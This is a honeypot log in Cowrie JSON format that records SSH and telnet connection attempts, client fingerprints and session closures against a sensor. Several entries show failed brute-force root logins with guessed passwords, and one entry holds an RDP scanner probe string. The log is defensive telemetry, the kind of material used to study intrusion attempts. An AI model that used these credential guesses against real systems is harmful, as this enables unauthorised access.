{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":45694,"dst_ip":"10.17.0.5","dst_port":22,"session":"64ac235d32b5","protocol":"ssh","message":"New connection: 43.245.98.60:45694 (10.17.0.5:22) [session: 64ac235d32b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:08.460642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:08.465030Z","src_ip":"43.245.98.60","session":"64ac235d32b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:08.705167Z","src_ip":"43.245.98.60","session":"64ac235d32b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42574,"dst_ip":"159.203.135.109","dst_port":22,"session":"269cdff46752","protocol":"ssh","message":"New connection: 80.66.85.226:42574 (159.203.135.109:22) [session: 269cdff46752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:09.056274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:09.060441Z","src_ip":"80.66.85.226","session":"269cdff46752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:09.152636Z","src_ip":"80.66.85.226","session":"269cdff46752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfczyz","message":"login attempt [root/vfczyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:09.431183Z","src_ip":"80.66.85.226","session":"269cdff46752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diane123","message":"login attempt [root/diane123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:09.701407Z","src_ip":"43.245.98.60","session":"64ac235d32b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.501831769943237,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:10.098692Z","src_ip":"152.42.224.71","session":"84a68cda5598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:10.530426Z","src_ip":"80.66.85.226","session":"269cdff46752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:10.945335Z","src_ip":"43.245.98.60","session":"64ac235d32b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33936,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df71e234b50","protocol":"telnet","message":"New connection: 152.42.224.71:33936 (10.17.0.5:23) [session: 9df71e234b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:13.780183Z"}
{"eventid":"cowrie.session.closed","duration":87.69667744636536,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:16.002423Z","src_ip":"152.42.224.71","session":"03754a7dd3ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe56626a50f","protocol":"telnet","message":"New connection: 152.42.224.71:57132 (10.17.0.5:23) [session: efe56626a50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:21.158958Z"}
{"eventid":"cowrie.session.closed","duration":120.00604271888733,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:28.000808Z","src_ip":"152.42.224.71","session":"8ebc001ac479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":50770,"dst_ip":"10.17.0.5","dst_port":22,"session":"41b122f2d581","protocol":"ssh","message":"New connection: 124.109.2.211:50770 (10.17.0.5:22) [session: 41b122f2d581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:32.270386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:32.278399Z","src_ip":"124.109.2.211","session":"41b122f2d581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:32.536371Z","src_ip":"124.109.2.211","session":"41b122f2d581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poker123","message":"login attempt [root/poker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:33.561812Z","src_ip":"124.109.2.211","session":"41b122f2d581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.21585035324097,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:33.698018Z","src_ip":"152.42.224.71","session":"1b7898a863e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:34.836477Z","src_ip":"124.109.2.211","session":"41b122f2d581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50338,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ea6192feb9","protocol":"telnet","message":"New connection: 152.42.224.71:50338 (10.17.0.5:23) [session: 00ea6192feb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:36.006254Z"}
{"eventid":"cowrie.session.closed","duration":120.00165271759033,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:36.550352Z","src_ip":"152.42.224.71","session":"3800a03df9d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":60982,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ad648e94830","protocol":"ssh","message":"New connection: 43.133.148.170:60982 (10.17.0.5:22) [session: 0ad648e94830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:37.830246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:37.834656Z","src_ip":"43.133.148.170","session":"0ad648e94830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:38.086075Z","src_ip":"43.133.148.170","session":"0ad648e94830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3bot","message":"login attempt [root/ts3bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:39.123859Z","src_ip":"43.133.148.170","session":"0ad648e94830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50344,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c3b073548f","protocol":"telnet","message":"New connection: 152.42.224.71:50344 (10.17.0.5:23) [session: 59c3b073548f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:40.343570Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:40.381745Z","src_ip":"43.133.148.170","session":"0ad648e94830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37516,"dst_ip":"159.203.135.109","dst_port":22,"session":"b73a9985688c","protocol":"ssh","message":"New connection: 103.27.238.114:37516 (159.203.135.109:22) [session: b73a9985688c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:43.183917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:43.188770Z","src_ip":"103.27.238.114","session":"b73a9985688c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:43.453359Z","src_ip":"103.27.238.114","session":"b73a9985688c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.50442123413086,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:43.657704Z","src_ip":"152.42.224.71","session":"45d78d8098ea","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"789987","message":"login attempt [root/789987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:44.247814Z","src_ip":"103.27.238.114","session":"b73a9985688c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:45.514185Z","src_ip":"103.27.238.114","session":"b73a9985688c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.79199194908142,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:46.682358Z","src_ip":"152.42.224.71","session":"b92420cf0b85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00206780433655,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:18:48.147171Z","src_ip":"186.227.183.66","session":"784966f5fb09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0137665271759,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:00.496546Z","src_ip":"152.42.224.71","session":"cb8eee4852fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38986,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2dea82758de","protocol":"telnet","message":"New connection: 152.42.224.71:38986 (10.17.0.5:23) [session: a2dea82758de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:02.725317Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38990,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e63b65a0bf","protocol":"telnet","message":"New connection: 152.42.224.71:38990 (10.17.0.5:23) [session: 51e63b65a0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:04.790629Z"}
{"eventid":"cowrie.session.closed","duration":39.4034059047699,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:19.746838Z","src_ip":"152.42.224.71","session":"59c3b073548f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.79055309295654,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:23.796673Z","src_ip":"152.42.224.71","session":"00ea6192feb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48088,"dst_ip":"10.17.0.5","dst_port":23,"session":"168e7facbf2f","protocol":"telnet","message":"New connection: 152.42.224.71:48088 (10.17.0.5:23) [session: 168e7facbf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:24.384654Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44048,"dst_ip":"10.17.0.5","dst_port":23,"session":"52bb25fe7b4a","protocol":"telnet","message":"New connection: 152.42.224.71:44048 (10.17.0.5:23) [session: 52bb25fe7b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:27.111558Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":60426,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec4166196b20","protocol":"ssh","message":"New connection: 43.245.98.60:60426 (10.17.0.5:22) [session: ec4166196b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:28.799110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:28.805819Z","src_ip":"43.245.98.60","session":"ec4166196b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:29.048679Z","src_ip":"43.245.98.60","session":"ec4166196b20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blockchain","message":"login attempt [root/blockchain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:30.032396Z","src_ip":"43.245.98.60","session":"ec4166196b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:31.272790Z","src_ip":"43.245.98.60","session":"ec4166196b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35396,"dst_ip":"10.17.0.5","dst_port":23,"session":"effb1e5ad496","protocol":"telnet","message":"New connection: 152.42.224.71:35396 (10.17.0.5:23) [session: effb1e5ad496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:46.953851Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50938,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08605f4b68f","protocol":"ssh","message":"New connection: 167.172.81.52:50938 (10.17.0.5:22) [session: c08605f4b68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:50.380650Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:50.385905Z","src_ip":"167.172.81.52","session":"c08605f4b68f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:50.389775Z","src_ip":"167.172.81.52","session":"c08605f4b68f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35410,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0815669b5f1","protocol":"telnet","message":"New connection: 152.42.224.71:35410 (10.17.0.5:23) [session: e0815669b5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:54.306268Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":52428,"dst_ip":"10.17.0.5","dst_port":22,"session":"519b122c88c1","protocol":"ssh","message":"New connection: 124.109.2.211:52428 (10.17.0.5:22) [session: 519b122c88c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:56.162325Z"}
